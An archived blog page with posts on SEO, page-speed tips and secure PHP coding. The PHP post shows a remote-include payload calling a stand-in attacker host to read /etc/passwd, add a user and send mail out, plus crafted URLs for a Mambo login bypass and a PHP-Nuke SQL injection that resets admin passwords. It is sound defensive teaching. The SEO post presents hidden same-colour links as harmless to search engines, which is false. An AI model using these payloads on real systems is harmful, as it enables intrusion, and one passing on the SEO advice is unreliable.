Special Offer for Blog Visitors — $0.01/m web hosting

Unlimited disk space, unlimited bandwidth, unlimited domain names hosted with FFMPEG support: $7.95/month &mdash 35% discount — $5.17/month
Limited time special offer: Your first month for $0.01 (1 cent only!) — Learn more! — Offer expires on Wednesday 30th of June 2010.

About SEO

Posted: November 24, 2006 at 11:10 am | (1) Comment

If you have never heard of SEO, it’s an acronym for Search Engine Optimization and according to wikipedia.org

Search engine optimization (SEO) is a set of methods aimed at improving the ranking of a website in search engine listings, and could be considered a subset of search engine marketing. The term SEO also refers to “search engine optimizers,” an industry of consultants who carry out optimization projects on behalf of clients’ sites. Some commentators, and even some SEOs, break down methods used by practitioners into categories such as “white hat SEO” (methods generally approved by search engines, such as building content and improving site quality)

Hidden links are a great way to boost your rank on a specific keyword. They are usually in a paragraph, then the keyword would have a link to the page you’re looking to boost it’s rank, but without an underline and the same color as the text.

As an example, I’ll take SEO. I would write a paragraph in my site about SEO and a link to my SEO page, though when you’ll read the text, you won’t notice SEO as a link because it’s the exact same color. The search engines consider that no problem as it’s a link with specific keywords to a page and we all know search engines love it!

If you have any questions about this — Just post a comment and I’ll help you!

Speeding up your webpages load time

Posted: November 17, 2006 at 3:23 pm | (7) Comments

Remove spaces, tabs, CR/LF from the HTML source code
It’s surprising how much people use tabs and spaces to make their code cleaner but what it does is add more pointless data to download which requires more data transfer which means longer download times. Try to not use a lot of HTML comments too. This alone can make your website faster from 7%-10%!

Minimize cookies
Of course, if you have a static site then you will have no problem with this. If your site is dynamic and uses cookies, I suggest using shorter values & names because cookies are added into each HTTP request which means longer transfer time. Try using “uname” instead of “user_name” and “pword” instead of “password”, etc. – Depending on your code, this can save from almost nothing to 10%.

Better Javascript
If you have long functions in Javascript such as “insert_to_database_and_remove_old_value” or you could name it “itdarov”. No one is going to care and your site will function never the less but you’ll cut a bit of transfer time. Same “Remove spaces, tabs, CR/LF” applies to Javascript, usually there are a few programs called “Crunchers” which will remove all the enters, spaces, tabs, comments to make a final smaller sized javascript.

HTTP compression
Obviously, this one has ups and downs. Compression can make huge size differences because there is a lot of repetition in the source code, however it causes your CPU to have much higher load. It’s a choice of high CPU load with small files or big files with no CPU load.

Force image size
If you add a picture to your website and the width/height are not specified, the client has to render the image a first time with no size, then once the whole page is downloaded, re-render it once again to decide the final size.

GIF/PNG compression
So, your page has several GIFs and/or JPG? It is very likely that those could be compressed even more without any loss! GIF/PNG mainly have a very compact data structure, but most applications like Corel Photo-Paint and Adobe PhotoShop don’t optimize it well. Go to Download.com and find yourself a good set of tools to compact your image files. You will be surprised that one of your GIFs had 900 bytes and after compacting it, end up being just 80 bytes.

Secure programming habits in PHP

Posted: November 4, 2006 at 4:27 pm | (8) Comments

The goal of this article is to show common threats and challenges of programming secure PHP applications. The wonderful thing about PHP is that people with little or even no programming experience are able to achieve simple goals very quickly. The problem, on the other hand, is that many programmers are not really conscious about what is going behind the curtains. Security and convenience do not often go hand in hand — but they can.

PHP has some very flexible file handling functions. The include(), require() and fopen() functions accept local path names as well as remote files using URLs. A lot of vulnerabilities I have seen are due to incorrect handling of dynamic file or path names.

On a site I will not mention in this article (because the problem still has not been solved) has one script which includes various HTML files and displays them in the proper layout. Have a look at the following URL:

http://example.com/page.php?i=contact.html

The variable $i obviously contains the file name to be included. When you see a URL like this, a lot of questions should come to your mind:

- Has the programmer considered directory traversals like i=../../../etc/passwd?
- Does he check for the .html extension?
- Does he use fopen() to include the files?
- Has he thought about not allowing remote files?

In this case, every answer was negative. Time to play! Of course, it is now possible to read all the files the httpd user has read access for. But what is even more exciting is the fact that the include() function is used to include the HTML file. Consider this:

http://example.com/page.php?i=http://evilperson.com/badscript.html

Where exec.html contains a couple of lines of code:

<?php
passthru ('cat /etc/passwd');
passthru ('useradd myuser -p password');
passthru ('echo another hacked server! | mail hacker@internet.com');
?>

I am sure you get the idea. A lot of bad things can be done from here.

Per default, PHP writes most of the variables into the global scope. Of course, this is very convenient. On the other hand, you can get lost in large scripts very quickly. Where did that variable come from? If it is not set, where could it come from? All EGPCS (Environment, GET, POST, Cookie, and Server) variables are put into the global scope.

The global associative arrays $HTTP_ENV_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS and $HTTP_SESSION_VARS will be created when the configuration directive track_vars is set. This allows you to look for a variable only in the place you expect it to come from. Note: As of PHP 4.0.3, track_vars is always turned on.

This security hole was reported to the Bugtraq mailing list by Ismael Peinado Palomo on July 25th, 2001. Mambo Site Server 3.0.x, a dynamic portal engine and content management tool based on PHP and MySQL, is vulnerable to a typical global scope exploit. The code has been modified and simplified.

Under the ‘admin/’ directory, index.php checks whether the password matches the one in the database after posting the form:

<?php
if ($row['pass'] == $postedpass) {
session_register("name");
session_register("fullname");
session_register("id");
header("Location: index2.php");
}
?>

When the passwords match, the variables $name, $fullname and $id are registered as session variables. The user then gets redirected to index2.php. Let us see what happens there:

<?php
if (!$PHPSESSID) {
header("Location: index.php");
exit(0);
} else {
session_start();
if (!$name) session_register("name");
if (!$fullname) session_register("fullname");
if (!$id) session_register("id");
}
?>

|If the session ID has not been set, the user will be directed back to the login screen. If there is a session ID, though, the script will resume the session and will put the previously set session variables into the global scope. Nice. Let us see how we can exploit this. Consider the following URL:

http://example.com/admin/index2.php?PHPSESSID=1&name=admin &fullname=brian&id=admin

The GET variables $PHPSESSID, $name, $fullname and $id are created as global variables per default. So when you look at the if-else-structure above, you will notice that the script figures $PHPSESSID is set and that the three variables dedicated to authorize and identify the user can be set to anything you want. The database has not even been queried. A quick fix for this problem — by far not the perfect one — would be to check for $HTTP_SESSION_VARS['id'] or $_SESSION['id'] (PHP => v4.1.0) instead of $id.

Programming in PHP would be boring without a decent SQL database connected to the web server. However, assembling SQL queries with unchecked variables is a dangerous thing to do.

The following bug in PHP-Nuke 5.x has been reported to the Bugtraq mailing on August 3, 2001. It is actually a combination of exploiting global variables and an unchecked SQL query variable.

The PHP-Nuke developers decided to add the “nuke” prefix to all tables in order to avoid conflicts with other scripts. The prefix can be changed when multiple Nuke sites are run using the same database. Per default, $prefix = "nuke"; is defined in the configuration file config.php.

Let us now look at a few lines from the script article.php.

<?php
if (!isset($mainfile)) {
include("mainfile.php");
}
if (!isset($sid) && !isset($tid)) {
exit();
}
?>

And a bit further down: the SQL query.

<?php
mysql_query("UPDATE $prefix"._stories.
" SET counter=counter+1 where sid=$sid");
?>

To change the SQL query, we need to make sure $prefix is not set to its default value so we can set an arbitrary value via GET. The configuration file config.php is included in mainfile.php. As we know from the last chapter, we can set the variables $mainfile, $sid and $tid to any value using GET parameters. By doing so, the script will think mainfile.php has been included and $prefix has been set accordingly. Now, we are in a position to execute any SQL query starting with UPDATE. So the following query will set all admin passwords to ‘1′:

http://phpnukesite.com/article.php?mainfile=1&sid=1&tid=1 &prefix=nuke.authors%20set%20pwd=1%23

The query now looks like this:

UPDATE nuke.nuke_authors set pwd=1#_stories
SET counter=counter+1 where sid=$sid

Of course, anything after # will be considered as a comment and will be ignored.

More to come. :)

Technology Partners